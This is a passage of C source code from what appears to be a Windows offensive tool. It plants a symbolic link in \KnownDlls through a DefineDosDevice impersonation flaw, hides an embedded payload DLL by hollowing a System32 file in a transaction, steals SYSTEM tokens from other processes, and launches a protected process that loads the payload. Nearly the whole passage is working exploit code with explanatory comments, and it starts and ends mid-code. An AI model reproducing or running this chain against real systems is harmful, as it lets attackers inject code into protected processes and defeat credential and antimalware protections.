device name as the second argument;\n\t//             >>> GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      b. it will first prepend it with '\\??\\';\n\t//             >>> \\??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      c. it will try to open the symbolic link while impersonating the client, the call succeeds\n\t//         because we control this symlink (step 1)\n\t//             >>> \\GLOBAL??\\KnownDlls\\FOO.DLL (\\??\\GLOBALROOT -> \\GLOBAL??)\n\t//      d. it checks whether the path starts with \\GLOBAL??\\ to determine if it's global;\n\t//      e. as it does, it rewrites the path and prepends it with '\\GLOBAL??\\', considers the link\n\t//         as global and disables impersonation;\n\t//             >>> \\GLOBAL??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      f. but \\GLOBAL??\\GLOBALROOT, which is the real GLOBALROOT\n\t//             >>> \\KnownDlls\\FOO.DLL\n\t//      g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore \n\t//         creates a symlink inside '\\KnownDlls\\' with an arbitrary name and an arbitrary target\n\t//         path.\n\t//\n\t//    /!\\  The purpose of the initial open operation is to delete the symlink and this is always\n\t//         done while impersonating the user. Therefore we won't be able to delete the symlink\n\t//         that was created in \\KnownDlls\\. We will have to remove it once we are running code \n\t//         inside a PPL with WinTCB level.\n\t//\n\tpwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tpwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\n\tif (!pwszDosDeviceName || !pwszDosDeviceTargetPath)\n\t\tgoto end;\n\n\tStringCchPrintf(pwszDosDeviceName, MAX_PATH, L\"GLOBALROOT\\\\KnownDlls\\\\%ws\", pwszDllToHijack);\n\tStringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L\"\\\\KernelObjects\\\\%ws\", pwszDllToHijack);\n\n\tPrintDebug(L\"Call DefineDosDevice to create '\\\\KnownDlls\\\\%ws' -> '%ws'\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\tif (!DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath))\n\t{\n\t\tPrintLastError(L\"DefineDosDevice\");\n\t\tif (!g_bForce || GetLastError() != ERROR_ALREADY_EXISTS)\n\t\t\tgoto end;\n\t}\n\n\tPrintVerbose(L\"[*] DefineDosDevice OK\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\t//\n\t// Make sure the link was really created as a consequence of the DefineDosDevice call. But \n\t// first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.\n\t//\n\tif (bCurrentUserIsSystem)\n\t{\n\t\tif (!RevertToSelf())\n\t\t{\n\t\t\tPrintLastError(L\"RevertToSelf\");\n\t\t\tgoto end;\n\t\t}\n\n\t\tbImpersonationActive = FALSE;\n\t}\n\telse\n\t{\n\t\tPrintDebug(L\"Impersonate SYSTEM again\\n\");\n\n\t\tif (!Impersonate(hSystemToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPrintVerbose(L\"[*] Impersonating SYSTEM...\\n\");\n\t}\n\n\tPrintDebug(L\"Check whether the symbolic link was really created in '\\\\KnownDlls\\\\'\\n\");\n\n\tif (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath))\n\t{\n\t\tPrintVerbose(L\"[-] The symbolic link '\\\\KnownDlls\\\\%ws' was not created.\\n\", pwszDllToHijack);\n\t\tgoto end;\n\t}\n\t\n\tPrintVerbose(L\"[+] The symbolic link was successfully created: '\\\\KnownDlls\\\\%ws' -> '%ws'\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\n\t//\n\t// 5. Create the image section object at the target location for an arbitrary DLL.\n\t//\n\t//    Final piece of the puzzle. Now that we have a symbolic link in \\KnownDlls that points to\n\t//    an arbitrary location, we just have to create a new Section at this location and map our\n\t//    payload DLL.\n\t//\n\tpwszSectionName = pwszDosDeviceTargetPath;\n\n\tPrintDebug(L\"Map our DLL to section '%ws'\\n\", pwszSectionName);\n\n\tif (!MapDll(pwszSectionName, &hDllSection))\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] Mapped payload DLL to: '%ws'\\n\", pwszSectionName);\n\t\n\t//\n\t// Prepare synchronization objects.\n\t//\n\tMiscGenerateGuidString(&pwszGuid);\n\tStringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_DLL_LOADED\", pwszGuid);\n\tif (!(hEventDllLoaded = CreateEvent(NULL, TRUE, FALSE, wszEventName)))\n\t\tPrintLastError(L\"CreateEvent\");\n\tStringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_DUMP_SUCCESS\", pwszGuid);\n\tif (!(hEventDumpSuccess = CreateEvent(NULL, TRUE, FALSE, wszEventName)))\n\t\tPrintLastError(L\"CreateEvent\");\n\tStringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_STOP_TRACE\", pwszGuid);\n\tif (!(g_hEventStopTrace = CreateEvent(NULL, TRUE, FALSE, wszEventName)))\n\t\tPrintLastError(L\"CreateEvent\");\n\n\t//\n\t// 6. Create a PPL process and hijack one of the DLLs it tries to load\n\t//\n\t//    First we need to prepare the command line that we are going to execute. The ID of the \n\t//    target process to dump and the path of the dump file should respectively be passed as the\n\t//    first and second argument.\n\t//    Then we need to get a SYSTEM token to start our new process. If the current process was \n\t//    started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to\n\t//    copy the current thread's token.\n\t//    Finally, we can start our protected process with the prepared command line and the \n\t//    duplicated token.\n\t//\n\tif (bCurrentUserIsSystem)\n\t{\n\t\tif (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))\n\t\t{\n\t\t\tPrintLastError(L\"OpenProcessToken\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))\n\t\t{\n\t\t\tPrintLastError(L\"OpenThreadToken\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tPrintDebug(L\"Enable privilege %ws\\n\", SE_ASSIGNPRIMARYTOKEN_NAME);\n\n\tif (!TokenCheckPrivilege(hCurrentToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE))\n\t\tgoto end;\n\n\tPrintDebug(L\"Create a primary token\\n\");\n\n\tif (!DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken))\n\t{\n\t\tPrintLastError(L\"DuplicateTokenEx\");\n\t\tgoto end;\n\t}\n\t\n\tif (!PrepareCommandLine(pwszGuid, &pwszCommandLine))\n\t\tgoto end;\n\tPrintDebug(L\"Creating protected process with command line: %ws\\n\", pwszCommandLine);\n\tif (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &newProcessInfo))\n\t\tgoto end;\n\tPrintVerbose(L\"[*] Started protected process PID %d, waiting...\\n\", newProcessInfo.dwProcessId);\n\n\t// Add Ctrl+C\n\tif (!SetConsoleCtrlHandler(CtrlCHandler, TRUE)) {\n\t\tPrintLastError(L\"SetConsoleCtrlHandler\\n\");\n\t\tgoto end;\n\t}\n\n\twprintf(L\"[*] Trace Process started, press ctrl+c to stop...\\n\");\n\tWaitForSingleObject(newProcessInfo.hProcess, INFINITE);\n\n\tbDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;\n\tif (bDllLoaded)\n\t\twprintf(L\"[-] The DLL was successfully loaded into the PPL Process\\n\");\n\telse\n\t\twprintf(L\"[-] The DLL was not loaded\\n\");\n\n\tPrintDebug(L\"Unmap section '%ws'...\\n\", pwszSectionName);\n\tUnmapDll(hDllSection);\n\n\tbDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0;\n\tif (!GetExitCodeProcess(newProcessInfo.hProcess, &dwExitCode))\n\t{\n\t\tPrintLastError(L\"GetExitCodeProcess\");\n\t\tgoto end;\n\t}\n\tPrintDebug(L\"Process exit code: %d\\n\", dwExitCode);\n\tif (dwExitCode != 0)\n\t\twprintf(L\"[!] Unexpected exit code: 0x%08lx\\n\", dwExitCode);\n\t\t\n\tif (bDumpSuccess)\n\t{\n\t\twprintf(L\"[+] Trace completed :)\\n\");\n\t}\n\telse {\n\t\twprintf(L\"[+] Running trace was not successfull :(\\n\");\n\t}\n\tbReturnValue = bDumpSuccess;\n\n\nend:\n\tif (bImpersonationActive)\n\t\tRevertToSelf(); // If impersonation was active, drop it first\n\tif (hEventDllLoaded)\n\t\tCloseHandle(hEventDllLoaded);\n\tif (hEventDumpSuccess)\n\t\tCloseHandle(hEventDumpSuccess);\n\tif (g_hEventStopTrace)\n\t\tCloseHandle(g_hEventStopTrace);\n\tif (pwszGuid)\n\t\tLocalFree(pwszGuid);\n\tif (hNewProcessToken)\n\t\tCloseHandle(hNewProcessToken);\n\tif (pwszCommandLine)\n\t\tLocalFree(pwszCommandLine);\n\tif (pwszDosDeviceName)\n\t\tLocalFree(pwszDosDeviceName);\n\tif (pwszDosDeviceTargetPath)\n\t\tLocalFree(pwszDosDeviceTargetPath);\n\tif (hDllLink)\n\t\tCloseHandle(hDllLink);\n\tif (pwszDllLinkName)\n\t\tLocalFree(pwszDllLinkName);\n\tif (hKnownDllsObjDir)\n\t\tCloseHandle(hKnownDllsObjDir);\n\tif (hLocalServiceToken)\n\t\tCloseHandle(hLocalServiceToken);\n\tif (hSystemToken)\n\t\tCloseHandle(hSystemToken);\n\tif (pwszDllToHijack)\n\t\tLocalFree(pwszDllToHijack);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL WINAPI CtrlCHandler\n(\n\tDWORD fdwCtrlType\n)\n{\n\tswitch (fdwCtrlType)\n\t{\n\tcase CTRL_C_EVENT:\n\t\tPrintVerbose(L\"Setting Stop Event\\n\");\n\t\tif (!SetEvent(g_hEventStopTrace)) {\n\t\t\tPrintLastError(L\"SetEvent\");\n\t\t}\n\t\treturn TRUE;\n\t}\n\treturn FALSE;\n}\n\n_Success_(return)\nBOOL CheckRequirements()\n{\n\tDWORD dwFailCount = 0;\n\tHANDLE hProcessToken = NULL;\n\tHANDLE hTargetProcess = NULL;\n\tBOOL bIsSystem = FALSE;\n\tDWORD dwProcessProtectionLevel = 0;\n\tLPWSTR pwszProcessProtectionName = NULL;\n\tDWORD dwProcessIntegrityLevel = 0;\n\tLPCWSTR ppwszRequiredPrivileges[2] = { SE_DEBUG_NAME, SE_IMPERSONATE_NAME };\n\n\tif (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken))\n\t{\n\t\tdwFailCount++;\n\t}\n\telse\n\t{\n\t\tfor (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++)\n\t\t{\n\t\t\tif (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE))\n\t\t\t{\n\t\t\t\tdwFailCount++;\n\t\t\t\twprintf(L\"[-] A privilege is missing: %ws\\n\", SE_DEBUG_NAME);\n\t\t\t}\n\t\t}\n\n\t\tCloseHandle(hProcessToken);\n\t}\n\n\t// Is SYSTEM or admin elevated?\n\tIsCurrentUserSystem(&bIsSystem);\n\tif (!bIsSystem)\n\t{\n\t\tif (!ProcessGetIntegrityLevel(GetCurrentProcessId(), &dwProcessIntegrityLevel))\n\t\t{\n\t\t\tdwFailCount++;\n\t\t\twprintf(L\"[-] Failed to get process integrity level\\n\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)\n\t\t\t{\n\t\t\t\tdwFailCount++;\n\t\t\t\twprintf(L\"[-] Insufficient process integrity level\\n\");\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check windows version >= 8.1\n\tif (!IsWindows8Point1OrGreater())\n\t{\n\t\tdwFailCount++;\n\t\twprintf(L\"[-] This version of Windows is not supported\\n\");\n\t}\n\n#if _WIN64\n\t//\n\t// A 64-bits executable cannot run on a 32-bits arch so no check is required here.\n\t//\n#elif _WIN32\n\t//\n\t// We need to make sure the system's arch is 32-bits as well because we embed only the x86 version\n\t// of our payload DLL.\n\t//\n\tif (MiscSystemArchIsAmd64())\n\t{\n\t\tdwFailCount++;\n\t\twprintf(L\"[-] This system architecture is not supported. Please use the 64-bits version instead.\\n\");\n\t}\n#else\n\tdwFailCount++;\n\twprintf(L\"[-] This system architecture is not supported.\\n\");\n#endif\n\n\treturn dwFailCount == 0;\n}\n\n_Success_(return)\nBOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)\n{\n\tBOOL bReturnValue = FALSE;\n\tHANDLE hProcessToken = NULL;\n\tLPWSTR pwszStringSid = NULL;\n\n\tif (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken))\n\t{\n\t\tPrintLastError(L\"OpenProcessToken\");\n\t\tgoto end;\n\t}\n\n\tif (!TokenGetSidAsString(hProcessToken, &pwszStringSid))\n\t\tgoto end;\n\n\t*pbResult = _wcsicmp(pwszStringSid, L\"S-1-5-18\") == 0;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszStringSid)\n\t\tLocalFree(pwszStringSid);\n\tif (hProcessToken)\n\t\tCloseHandle(hProcessToken);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)\n{\n\tif (!ppwszDllName)\n\t\treturn FALSE;\n\n\t*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n\tif (!*ppwszDllName)\n\t\treturn FALSE;\n\n\tif (IsWindows10OrGreater())\n\t{\n\t\tStringCchPrintf(*ppwszDllName, 64, L\"%ws\", DLL_TO_HIJACK_WIN10);\n\t\treturn TRUE;\n\t}\n\n\tif (IsWindows8Point1OrGreater())\n\t{\n\t\tStringCchPrintf(*ppwszDllName, 64, L\"%ws\", DLL_TO_HIJACK_WIN81);\n\t\treturn TRUE;\n\t}\n\n\tLocalFree(*ppwszDllName);\n\n\treturn FALSE;\n}\n\n_Success_(return)\nBOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHRSRC hResource = NULL;\n\tHGLOBAL hResourceData = NULL;\n\tDWORD dwResourceSize = 0;\n\tLPVOID lpData = NULL;\n\n\tif (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))\n\t{\n\t\tPrintLastError(L\"FindResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(dwResourceSize = SizeofResource(NULL, hResource)))\n\t{\n\t\tPrintLastError(L\"SizeofResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(hResourceData = LoadResource(NULL, hResource)))\n\t{\n\t\tPrintLastError(L\"LoadResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(lpData = LockResource(hResourceData)))\n\t{\n\t\tPrintLastError(L\"LockResource\");\n\t\treturn FALSE;\n\t}\n\n\t*ppBuffer = lpData;\n\t*pdwSize = dwResourceSize;\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tWCHAR wszSearchPath[MAX_PATH] = { 0 };\n\tWCHAR wszFilePath[MAX_PATH] = { 0 };\n\tWIN32_FIND_DATA wfd = { 0 };\n\tHANDLE hFind = NULL;\n\n\tHANDLE hFile = NULL;\n\tPSID pSidOwner = NULL;\n\tPSECURITY_DESCRIPTOR pSD = NULL;\n\tDWORD dwFileSize = 0;\n\n\tPSID pSidTarget = NULL;\n\n\tConvertStringSidToSid(L\"S-1-5-18\", &pSidTarget);\n\n\tGetSystemDirectory(wszSearchPath, MAX_PATH);\t\t\t// C:\\Windows\\System32\n\tStringCchCat(wszSearchPath, MAX_PATH, L\"\\\\*.dll\");\t\t// C:\\Windows\\System32\\*.dll\n\n\tif ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE)\n\t{\n\t\tdo\n\t\t{\n\t\t\tGetSystemDirectory(wszFilePath, MAX_PATH);\n\t\t\tStringCchCat(wszFilePath, MAX_PATH, L\"\\\\\");\n\t\t\tStringCchCat(wszFilePath, MAX_PATH, wfd.cFileName);\n\n\t\t\tif (hFile = CreateFile(wszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))\n\t\t\t{\n\t\t\t\tdwFileSize = GetFileSize(hFile, NULL);\n\t\t\t\tif (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize)\n\t\t\t\t{\n\t\t\t\t\tif (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (TokenCompareSids(pSidOwner, pSidTarget))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t*ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\t\t\t\t\t\t\tif (*ppwszFilePath)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tStringCchPrintf(*ppwszFilePath, MAX_PATH, L\"%ws\", wszFilePath);\n\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tCloseHandle(hFile);\n\t\t\t}\n\n\t\t} while (FindNextFileW(hFind, &wfd) && !bReturnValue);\n\n\t\tFindClose(hFind);\n\t}\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)\n{\n\t//\n\t// This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr\n\t// in this blog post: Masking Malicious Memory Artifacts  Part I: Phantom DLL Hollowing\n\t// https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing\n\t// This trick is awesome! :)\n\t//\n\t// Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file\n\t// as a transaction operation. Then, we replace the content of the DLL with our own. To so, we\n\t// search for an existing DLL file in C:\\Windows\\System32. We assume we are executing this code\n\t// as SYSTEM but still, this is not sufficient as we need to open the target file with write \n\t// access even though the file will not be modified. As most of the files are owned by Trusted-\n\t// Installer, we need to find one which is owned by SYSTEM and also make sure that it is big\n\t// enough so that we can copy our own DLL.\n\t//\n\t// Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular\n\t// file. But hey, this works just fine. ;)\n\t//\n\n\tBOOL bReturnValue = FALSE;\n\n\tHRSRC hResource = NULL;\n\tHGLOBAL hResourceData = NULL;\n\tDWORD dwResourceSize = 0;\n\tLPVOID lpData = NULL;\n\n\tLPWSTR pwszTargetFile = NULL;\n\n\tNTSTATUS status = 0;\n\tOBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };\n\tHANDLE hTransaction = NULL;\n\tHANDLE hTransactedFile = NULL;\n\n\tDWORD dwBytesWritten = 0;\n\n\tif (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))\n\t{\n\t\tdwResourceSize = SizeofResource(NULL, hResource);\n\n\t\tif (hResourceData = LoadResource(NULL, hResource))\n\t\t{\n\t\t\tlpData = LockResource(hResourceData);\n\t\t}\n\t}\n\n\tif (!lpData || !dwResourceSize)\n\t\treturn FALSE;\n\n\tPrintDebug(L\"Loaded payload DLL, image size: %d bytes\\n\", dwResourceSize);\n\n\t//\n\t// Find a legtimate DLL file to \"hollow\". It must not be owned by TrustedInstaller and it must\n\t// be big enough so that we can copy our payload into the transacted file.\n\t//\n\tif (!FindFileForTransaction(dwResourceSize, &pwszTargetFile))\n\t\treturn FALSE;\n\n\tPrintDebug(L\"Found file for transaction: %ws\\n\", pwszTargetFile);\n\n\tstatus = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);\n\tif (status != 0)\n\t{\n\t\tSetLastError(RtlNtStatusToDosError(status));\n\t\tPrintLastError(L\"NtCreateTransaction\");\n\t\tgoto end;\n\t}\n\n\t//\n\t// Open a legitimate DLL file as a transaction operation.\n\t//\n\thTransactedFile = CreateFileTransacted(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);\n\tif (hTransactedFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tPrintLastError(L\"CreateFileTransacted\");\n\t\tgoto end;\n\t}\n\n\tPrintDebug(L\"Opened file '%ws' for transaction.\\n\", pwszTargetFile);\n\n\t//\n\t// Replace the content of the legitimate file with our own DLL payload. It's important to note\n\t// that the file on disk is not altered.\n\t//\n\tif (!WriteFile(hTransactedFile, lpData, dwResourceSize, &dwBytesWritten, NULL))\n\t{\n\t\tPrintLastError(L\"WriteFile\");\n\t\tgoto end;\n\t}\n\n\tPrintDebug(L\"Wrote %d bytes of embedded payload DLL to transacted file.\\n\", dwBytesWritten, pwszTargetFile);\n\n\t*pdhFile = hTransactedFile;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszTargetFile)\n\t\tLocalFree(pwszTargetFile);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tPSID pTargetSid = NULL;\n\tPVOID pBuffer = NULL;\n\tPSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;\n\tHANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;\n\tDWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;\n\tPSID pSidTmp = NULL;\n\tNTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;\n\n\tLPWSTR pwszUsername = NULL;\n\n\tif (!ConvertStringSidToSid(pwszTargetSid, &pTargetSid))\n\t\tgoto end;\n\n\twhile (TRUE)\n\t{\n\t\tpBuffer = LocalAlloc(LPTR, dwBufSize);\n\t\tif (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)\n\t\t\tbreak;\n\n\t\tstatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);\n\t\tif (NT_SUCCESS(status))\n\t\t{\n\t\t\tpProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;\n\t\t\twhile (TRUE) {\n\t\t\t\tif (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))\n\t\t\t\t{\n\t\t\t\t\tif (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))\n\t\t\t\t\t{\n\t\t\t\t\t\tif (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hTokenDup))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (TokenCompareSids(pSidTmp, pTargetSid))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPrintDebug(L\"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\\n\", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tBOOL bTokenIsNotRestricted = FALSE;\n\t\t\t\t\t\t\t\t\tTokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted);\n\n\t\t\t\t\t\t\t\t\tif (bTokenIsNotRestricted)\n\t\t\t\t\t\t\t\t\t\tPrintDebug(L\"This token is not restricted.\\n\");\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tPrintDebug(L\"This token is restricted.\\n\");\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif (bTokenIsNotRestricted)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (pwszPrivileges && dwPrivilegeCount != 0)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tDWORD dwPrivilegeFound = 0;\n\t\t\t\t\t\t\t\t\t\t\tfor (DWORD i = 0; i < dwPrivilegeCount; i++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE))\n\t\t\t\t\t\t\t\t\t\t\t\t\tdwPrivilegeFound++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tPrintDebug(L\"Found %d/%d required privileges in token.\\n\", dwPrivilegeFound, dwPrivilegeCount);\n\n\t\t\t\t\t\t\t\t\t\t\tif (dwPrivilegeFound == dwPrivilegeCount)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tPrintDebug(L\"Found a valid Token candidate.\\n\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t*phToken = hTokenDup;\n\t\t\t\t\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tPrintDebug(L\"Found a valid Token.\\n\");\n\n\t\t\t\t\t\t\t\t\t\t\t*phToken = hTokenDup;\n\t\t\t\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tLocalFree(pSidTmp);\n\t\t\t\t\t\t\t\tLocalFree(pwszUsername);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!bReturnValue)\n\t\t\t\t\t\t\t\tCloseHandle(hTokenDup);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tCloseHandle(hToken);\n\t\t\t\t\t}\n\t\t\t\t\tCloseHandle(hProcess);\n\t\t\t\t}\n\n\t\t\t\t// If we found a valid token, stop\n\t\t\t\tif (bReturnValue)\n\t\t\t\t\tbreak;\n\n\t\t\t\t// If next entry is null, stop\n\t\t\t\tif (!pProcInfo->NextEntryOffset)\n\t\t\t\t\tbreak;\n\n\t\t\t\t// Increment SYSTEM_PROCESS_INFORMATION pointer\n\t\t\t\tpProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);\n\t\t\t}\n\t\t}\n\n\t\tLocalFree(pBuffer);\n\t\tdwBufSize <<= 1;\n\t}\n\nend:\n\tif (pTargetSid)\n\t\tLocalFree(pTargetSid);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL Impersonate(_In_ HANDLE hToken)\n{\n\tHANDLE hThread = GetCurrentThread(); // Pseudo handle, does not need to be closed\n\n\tif (!SetThreadToken(&hThread, hToken))\n\t{\n\t\tPrintLastError(L\"SetThreadToken\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hCurrentProcessToken = NULL;\n\tHANDLE hToken = NULL;\n\tHANDLE hCurrentThread = NULL;\n\n\tif (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken))\n\t{\n\t\tPrintLastError(L\"OpenProcessToken\");\n\t\tgoto end;\n\t}\n\n\tif (!TokenCheckPrivilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE))\n\t\tgoto end;\n\n\tif (!TokenCheckPrivilege(hCurrentProcessToken, SE_IMPERSONATE_NAME, TRUE))\n\t\tgoto end;\n\n\tif (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount))\n\t\tgoto end;\n\n\tif (!Impersonate(hToken))\n\t\tgoto end;\n\n\t*phToken = hToken;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hCurrentProcessToken)\n\t\tCloseHandle(hCurrentProcessToken);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)\n{\n\tLPCWSTR pwszPrivileges[2] = { SE_DEBUG_NAME, SE_ASSIGNPRIMARYTOKEN_NAME };\n\n\treturn ImpersonateUser(L\"S-1-5-18\", phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / 